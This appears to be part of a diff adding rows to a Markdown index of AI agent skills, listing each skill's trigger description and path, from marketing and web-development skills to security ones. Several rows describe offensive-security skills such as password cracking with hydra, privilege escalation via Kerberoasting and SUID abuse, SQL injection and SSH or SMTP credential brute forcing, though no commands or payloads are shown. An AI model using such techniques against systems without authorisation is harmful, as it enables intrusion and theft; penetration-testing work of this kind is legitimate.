+| **onboarding-cro**                                  | When the user wants to optimize post-signup onboarding, user activation, first-run experience, or time-to-value. Also use when the user mentions "onboarding flow," "activation rate," "user activation," "first-run experience," "empty states," "onboarding checklist," "aha moment," or "new user experience." For signup/registration optimization, see signup-flow-cro. For ongoing email sequences, see email-sequence.                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/onboarding-cro`                      |
+| **page-cro**                                        | When the user wants to optimize, improve, or increase conversions on any marketing page — including homepage, landing pages, pricing pages, feature pages, or blog posts. Also use when the user says "CRO," "conversion rate optimization," "this page isn't converting," "improve conversions," or "why isn't this page working." For signup/registration flows, see signup-flow-cro. For post-signup activation, see onboarding-cro. For forms outside of signup, see form-cro. For popups/modals, see popup-cro.                                                                                                                                                                                                                                                                                                                     | `skills/page-cro`                            |
+| **paid-ads**                                        | "When the user wants help with paid advertising campaigns on Google Ads, Meta (Facebook/Instagram), LinkedIn, Twitter/X, or other ad platforms. Also use when the user mentions 'PPC,' 'paid media,' 'ad copy,' 'ad creative,' 'ROAS,' 'CPA,' 'ad campaign,' 'retargeting,' or 'audience targeting.' This skill covers campaign strategy, ad creation, audience targeting, and optimization."                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/paid-ads`                            |
+| **parallel-agents**                                 | Multi-agent orchestration patterns. Use when multiple independent tasks can run with different domain expertise or when comprehensive analysis requires multiple perspectives.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/parallel-agents`                     |
+| **paywall-upgrade-cro**                             | When the user wants to create or optimize in-app paywalls, upgrade screens, upsell modals, or feature gates. Also use when the user mentions "paywall," "upgrade screen," "upgrade modal," "upsell," "feature gate," "convert free to paid," "freemium conversion," "trial expiration screen," "limit reached screen," "plan upgrade prompt," or "in-app pricing." Distinct from public pricing pages (see page-cro) — this skill focuses on in-product upgrade moments where the user has already experienced value.                                                                                                                                                                                                                                                                                                                    | `skills/paywall-upgrade-cro`                 |
+| **pc-games**                                        | PC and console game development principles. Engine selection, platform features, optimization strategies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/game-development/pc-games`           |
+| **pdf**                                             | Comprehensive PDF manipulation toolkit for extracting text and tables, creating new PDFs, merging/splitting documents, and handling forms. When Claude needs to fill in a PDF form or programmatically process, generate, or analyze PDF documents at scale.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/pdf-official`                        |
+| **Pentest Checklist**                               | This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/pentest-checklist`                   |
+| **Pentest Commands**                                | This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/pentest-commands`                    |
+| **performance-profiling**                           | Performance profiling principles. Measurement, analysis, and optimization techniques.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/performance-profiling`               |
+| **personal-tool-builder**                           | "Expert in building custom tools that solve your own problems first. The best products often start as personal tools - scratch your own itch, build for yourself, then discover others have the same itch. Covers rapid prototyping, local-first apps, CLI tools, scripts that grow into products, and the art of dogfooding. Use when: build a tool, personal tool, scratch my itch, solve my problem, CLI tool."                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/personal-tool-builder`               |
+| **plaid-fintech**                                   | "Expert patterns for Plaid API integration including Link token flows, transactions sync, identity verification, Auth for ACH, balance checks, webhook handling, and fintech compliance best practices. Use when: plaid, bank account linking, bank connection, ach, account aggregation."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/plaid-fintech`                       |
+| **plan-writing**                                    | Structured task planning with clear breakdowns, dependencies, and verification criteria. Use when implementing features, refactoring, or any multi-step work.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/plan-writing`                        |
+| **planning-with-files**                             | Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/planning-with-files`                 |
+| **playwright-skill**                                | Complete browser automation with Playwright. Auto-detects dev servers, writes clean test scripts to /tmp. Test pages, fill forms, take screenshots, check responsive design, validate UX, test login flows, check links, automate any browser task. Use when user wants to test websites, automate browser interactions, validate web functionality, or perform any browser-based testing.                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/playwright-skill`                    |
+| **popup-cro**                                       | When the user wants to create or optimize popups, modals, overlays, slide-ins, or banners for conversion purposes. Also use when the user mentions "exit intent," "popup conversions," "modal optimization," "lead capture popup," "email popup," "announcement banner," or "overlay." For forms outside of popups, see form-cro. For general page conversion optimization, see page-cro.                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/popup-cro`                           |
+| **powershell-windows**                              | PowerShell Windows patterns. Critical pitfalls, operator syntax, error handling.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/powershell-windows`                  |
+| **pptx**                                            | "Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/pptx-official`                       |
+| **pricing-strategy**                                | "When the user wants help with pricing decisions, packaging, or monetization strategy. Also use when the user mentions 'pricing,' 'pricing tiers,' 'freemium,' 'free trial,' 'packaging,' 'price increase,' 'value metric,' 'Van Westendorp,' 'willingness to pay,' or 'monetization.' This skill covers pricing research, tier structure, and packaging strategy."                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/pricing-strategy`                    |
+| **prisma-expert**                                   | Prisma ORM expert for schema design, migrations, query optimization, relations modeling, and database operations. Use PROACTIVELY for Prisma schema issues, migration problems, query performance, relation design, or database connection issues.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/prisma-expert`                       |
+| **Privilege Escalation Methods**                    | This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/privilege-escalation-methods`        |
+| **product-manager-toolkit**                         | Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/product-manager-toolkit`             |
+| **programmatic-seo**                                | When the user wants to create SEO-driven pages at scale using templates and data. Also use when the user mentions "programmatic SEO," "template pages," "pages at scale," "directory pages," "location pages," "[keyword] + [city] pages," "comparison pages," "integration pages," or "building many pages for SEO." For auditing existing SEO issues, see seo-audit.                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/programmatic-seo`                    |
+| **prompt-caching**                                  | "Caching strategies for LLM prompts including Anthropic prompt caching, response caching, and CAG (Cache Augmented Generation) Use when: prompt caching, cache prompt, response cache, cag, cache augmented."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/prompt-caching`                      |
+| **prompt-engineer**                                 | "Expert in designing effective prompts for LLM-powered applications. Masters prompt structure, context management, output formatting, and prompt evaluation. Use when: prompt engineering, system prompt, few-shot, chain of thought, prompt design."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/prompt-engineer`                     |
+| **prompt-engineering**                              | Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/prompt-engineering`                  |
+| **prompt-library**                                  | "Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/prompt-library`                      |
+| **python-patterns**                                 | Python development principles and decision-making. Framework selection, async patterns, type hints, project structure. Teaches thinking, not copying.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/python-patterns`                     |
+| **rag-engineer**                                    | "Expert in building Retrieval-Augmented Generation systems. Masters embedding models, vector databases, chunking strategies, and retrieval optimization for LLM applications. Use when: building RAG, vector search, embeddings, semantic search, document retrieval."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/rag-engineer`                        |
+| **rag-implementation**                              | "Retrieval-Augmented Generation patterns including chunking, embeddings, vector stores, and retrieval optimization Use when: rag, retrieval augmented, vector search, embeddings, semantic search."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/rag-implementation`                  |
+| **react-patterns**                                  | Modern React patterns and principles. Hooks, composition, performance, TypeScript best practices.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/react-patterns`                      |
+| **react-ui-patterns**                               | Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/react-ui-patterns`                   |
+| **receiving-code-review**                           | Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/receiving-code-review`               |
+| **Red Team Tools and Methodology**                  | This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/red-team-tools`                      |
+| **red-team-tactics**                                | Red team tactics principles based on MITRE ATT&CK. Attack phases, detection evasion, reporting.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/red-team-tactics`                    |
+| **referral-program**                                | "When the user wants to create, optimize, or analyze a referral program, affiliate program, or word-of-mouth strategy. Also use when the user mentions 'referral,' 'affiliate,' 'ambassador,' 'word of mouth,' 'viral loop,' 'refer a friend,' or 'partner program.' This skill covers program design, incentive structure, and growth optimization."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/referral-program`                    |
+| **remotion-best-practices**                         | Best practices for Remotion - Video creation in React                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/remotion-best-practices`             |
+| **requesting-code-review**                          | Use when completing tasks, implementing major features, or before merging to verify work meets requirements                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/requesting-code-review`              |
+| **research-engineer**                               | "An uncompromising Academic Research Engineer. Operates with absolute scientific rigor, objective criticism, and zero flair. Focuses on theoretical correctness, formal verification, and optimal implementation across any required technology."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/research-engineer`                   |
+| **salesforce-development**                          | "Expert patterns for Salesforce platform development including Lightning Web Components (LWC), Apex triggers and classes, REST/Bulk APIs, Connected Apps, and Salesforce DX with scratch orgs and 2nd generation packages (2GP). Use when: salesforce, sfdc, apex, lwc, lightning web components."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/salesforce-development`              |
+| **schema-markup**                                   | When the user wants to add, fix, or optimize schema markup and structured data on their site. Also use when the user mentions "schema markup," "structured data," "JSON-LD," "rich snippets," "schema.org," "FAQ schema," "product schema," "review schema," or "breadcrumb schema." For broader SEO issues, see seo-audit.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/schema-markup`                       |
+| **scroll-experience**                               | "Expert in building immersive scroll-driven experiences - parallax storytelling, scroll animations, interactive narratives, and cinematic web experiences. Like NY Times interactives, Apple product pages, and award-winning web experiences. Makes websites feel like experiences, not just pages. Use when: scroll animation, parallax, scroll storytelling, interactive story, cinematic website."                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/scroll-experience`                   |
+| **Security Scanning Tools**                         | This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/scanning-tools`                      |
+| **security-review**                                 | Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/cc-skill-security-review`            |
+| **segment-cdp**                                     | "Expert patterns for Segment Customer Data Platform including Analytics.js, server-side tracking, tracking plans with Protocols, identity resolution, destinations configuration, and data governance best practices. Use when: segment, analytics.js, customer data platform, cdp, tracking plan."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/segment-cdp`                         |
+| **senior-architect**                                | Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. Includes architecture diagram generation, system design patterns, tech stack decision frameworks, and dependency analysis. Use when designing system architecture, making technical decisions, creating architecture diagrams, evaluating trade-offs, or defining integration patterns.                                                                                                                                                                                                                                                                                                                                              | `skills/senior-architect`                    |
+| **senior-fullstack**                                | Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows.                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/senior-fullstack`                    |
+| **seo-audit**                                       | When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," or "SEO health check." For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema-markup.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/seo-audit`                           |
+| **seo-fundamentals**                                | SEO fundamentals, E-E-A-T, Core Web Vitals, and Google algorithm principles.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/seo-fundamentals`                    |
+| **server-management**                               | Server management principles and decision-making. Process management, monitoring strategy, and scaling decisions. Teaches thinking, not commands.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/server-management`                   |
+| **Shodan Reconnaissance and Pentesting**            | This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/shodan-reconnaissance`               |
+| **shopify-apps**                                    | "Expert patterns for Shopify app development including Remix/React Router apps, embedded apps with App Bridge, webhook handling, GraphQL Admin API, Polaris components, billing, and app extensions. Use when: shopify app, shopify, embedded app, polaris, app bridge."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/shopify-apps`                        |
+| **shopify-development**                             | \|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/shopify-development`                 |
+| **signup-flow-cro**                                 | When the user wants to optimize signup, registration, account creation, or trial activation flows. Also use when the user mentions "signup conversions," "registration friction," "signup form optimization," "free trial signup," "reduce signup dropoff," or "account creation flow." For post-signup onboarding, see onboarding-cro. For lead capture forms (not account creation), see form-cro.                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/signup-flow-cro`                     |
+| **skill-creator**                                   | Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/skill-creator`                       |
+| **skill-developer**                                 | Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule.                                                                                                                                                                                                                                                                                                                        | `skills/skill-developer`                     |
+| **slack-bot-builder**                               | "Build Slack apps using the Bolt framework across Python, JavaScript, and Java. Covers Block Kit for rich UIs, interactive components, slash commands, event handling, OAuth installation flows, and Workflow Builder integration. Focus on best practices for production-ready Slack apps. Use when: slack bot, slack app, bolt framework, block kit, slash command."                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/slack-bot-builder`                   |
+| **slack-gif-creator**                               | Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/slack-gif-creator`                   |
+| **SMTP Penetration Testing**                        | This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/smtp-penetration-testing`            |
+| **social-content**                                  | "When the user wants help creating, scheduling, or optimizing social media content for LinkedIn, Twitter/X, Instagram, TikTok, Facebook, or other platforms. Also use when the user mentions 'LinkedIn post,' 'Twitter thread,' 'social media,' 'content calendar,' 'social scheduling,' 'engagement,' or 'viral content.' This skill covers content creation, repurposing, and platform-specific strategies."                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/social-content`                      |
+| **software-architecture**                           | Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/software-architecture`               |
+| **SQL Injection Testing**                           | This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.                                                                                                                                                                                                                                                                                                                                                                                          | `skills/sql-injection-testing`               |
+| **SQLMap Database Penetration Testing**             | This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/sqlmap-database-pentesting`          |
+| **SSH Penetration Testing**                         | This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/ssh-penetration-testing`             |
+| **stripe-integration**                              | "Get paid from day one. Payments, subscriptions, billing portal, webhooks, metered billing, Stripe Connect. The complete guide to implementing Stripe correctly, including all the edge cases that will bite you at 3am. This isn't just API calls - it's the full payment system: handling failures, managing subscriptions, dealing with dunning, and keeping revenue flowing. Use when: stripe, payments, subscription, billing, checkout."                                                                                                                                                                                                                                                                                                                                                                                           | `skills/stripe-integration`                  |
+| **subagent-driven-development**                     | Use when executing implementation plans with independent tasks in the current session                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/subagent-driven-development`         |
+| **supabase-postgres-best-practices**                | Postgres performance optimization and best practices from Supabase. Use this skill when writing, reviewing, or optimizing Postgres queries, schema designs, or database configurations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/postgres-best-practices`             |
+| **systematic-debugging**                            | Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/systematic-debugging`                |
+| **tailwind-patterns**                               | Tailwind CSS v4 principles. CSS-first configuration, container queries, modern patterns, design token architecture.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/tailwind-patterns`                   |
+| **tdd-workflow**                                    | Test-Driven Development workflow principles. RED-GREEN-REFACTOR cycle.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/tdd-workflow`                        |
+| **telegram-bot-builder**                            | "Expert in building Telegram bots that solve real problems - from simple automation to complex AI-powered bots. Covers bot architecture, the Telegram Bot API, user experience, monetization strategies, and scaling bots to thousands of users. Use when: telegram bot, bot api, telegram automation, chat bot telegram, tg bot."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/telegram-bot-builder`                |
+| **telegram-mini-app**                               | "Expert in building Telegram Mini Apps (TWA) - web apps that run inside Telegram with native-like experience. Covers the TON ecosystem, Telegram Web App API, payments, user authentication, and building viral mini apps that monetize. Use when: telegram mini app, TWA, telegram web app, TON app, mini app."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/telegram-mini-app`                   |
+| **templates**                                       | Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/app-builder/templates`               |
+| **test-driven-development**                         | Use when implementing any feature or bugfix, before writing implementation code                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/test-driven-development`             |
+| **test-fixing**                                     | Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/test-fixing`                         |
+| **testing-patterns**                                | Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/testing-patterns`                    |
+| **theme-factory**                                   | Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with colors/fonts that you can apply to any artifact that has been creating, or can generate a new theme on-the-fly.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/theme-factory`                       |
+| **Top 100 Web Vulnerabilities Reference**           | This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories.                                                                                                                                                                                                                    | `skills/top-web-vulnerabilities`             |
+| **trigger-dev**                                     | "Trigger.dev expert for background jobs, AI workflows, and reliable async execution with excellent developer experience and TypeScript-first design. Use when: trigger.dev, trigger dev, background task, ai background job, long running task."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/trigger-dev`                         |
+| **twilio-communications**                           | "Build communication features with Twilio: SMS messaging, voice calls, WhatsApp Business API, and user verification (2FA). Covers the full spectrum from simple notifications to complex IVR systems and multi-channel authentication. Critical focus on compliance, rate limits, and error handling. Use when: twilio, send SMS, text message, voice call, phone verification."                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/twilio-communications`               |
+| **typescript-expert**                               | >-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/typescript-expert`                   |
+| **ui-ux-pro-max**                                   | "UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples." | `skills/ui-ux-pro-max`                       |
+| **upstash-qstash**                                  | "Upstash QStash expert for serverless message queues, scheduled jobs, and reliable HTTP-based task delivery without managing infrastructure. Use when: qstash, upstash queue, serverless cron, scheduled http, message queue serverless."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/upstash-qstash`                      |
+| **using-git-worktrees**                             | Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/using-git-worktrees`                 |
+| **using-superpowers**                               | Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/using-superpowers`                   |
+| **vercel-deployment**                               | "Expert knowledge for deploying to Vercel with Next.js Use when: vercel, deploy, deployment, hosting, production."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/vercel-deployment`                   |
+| **vercel-react-best-practices**                     | React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/react-best-practices`                |
+| **verification-before-completion**                  | Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/verification-before-completion`      |
+| **viral-generator-builder**                         | "Expert in building shareable generator tools that go viral - name generators, quiz makers, avatar creators, personality tests, and calculator tools. Covers the psychology of sharing, viral mechanics, and building tools people can't resist sharing with friends. Use when: generator tool, quiz maker, name generator, avatar creator, viral tool."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/viral-generator-builder`             |
+| **voice-agents**                                    | "Voice agents represent the frontier of AI interaction - humans speaking naturally with AI systems. The challenge isn't just speech recognition and synthesis, it's achieving natural conversation flow with sub-800ms latency while handling interruptions, background noise, and emotional nuance. This skill covers two architectures: speech-to-speech (OpenAI Realtime API, lowest latency, most natural) and pipeline (STT→LLM→TTS, more control, easier to debug). Key insight: latency is the constraint. Hu"                                                                                                                                                                                                                                                                                                                    | `skills/voice-agents`                        |
+| **voice-ai-development**                            | "Expert in building voice AI applications - from real-time voice agents to voice-enabled apps. Covers OpenAI Realtime API, Vapi for voice agents, Deepgram for transcription, ElevenLabs for synthesis, LiveKit for real-time infrastructure, and WebRTC fundamentals. Knows how to build low-latency, production-ready voice experiences. Use when: voice ai, voice agent, speech to text, text to speech, realtime voice."                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/voice-ai-development`                |
+| **vr-ar**                                           | VR/AR development principles. Comfort, interaction, performance requirements.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/game-development/vr-ar`              |
+| **vulnerability-scanner**                           | Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/vulnerability-scanner`               |
+| **web-artifacts-builder**                           | Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/web-artifacts-builder`               |
+| **web-design-guidelines**                           | Review UI code for Web Interface Guidelines compliance. Use when asked to "review my UI", "check accessibility", "audit design", "review UX", or "check my site against best practices".                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/web-design-guidelines`               |
+| **web-games**                                       | Web browser game development principles. Framework selection, WebGPU, optimization, PWA.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/game-development/web-games`          |
+| **web-performance-optimization**                    | "Optimize website and web application performance including loading speed, Core Web Vitals, bundle size, caching strategies, and runtime performance"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/web-performance-optimization`        |
+| **webapp-testing**                                  | Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/webapp-testing`                      |
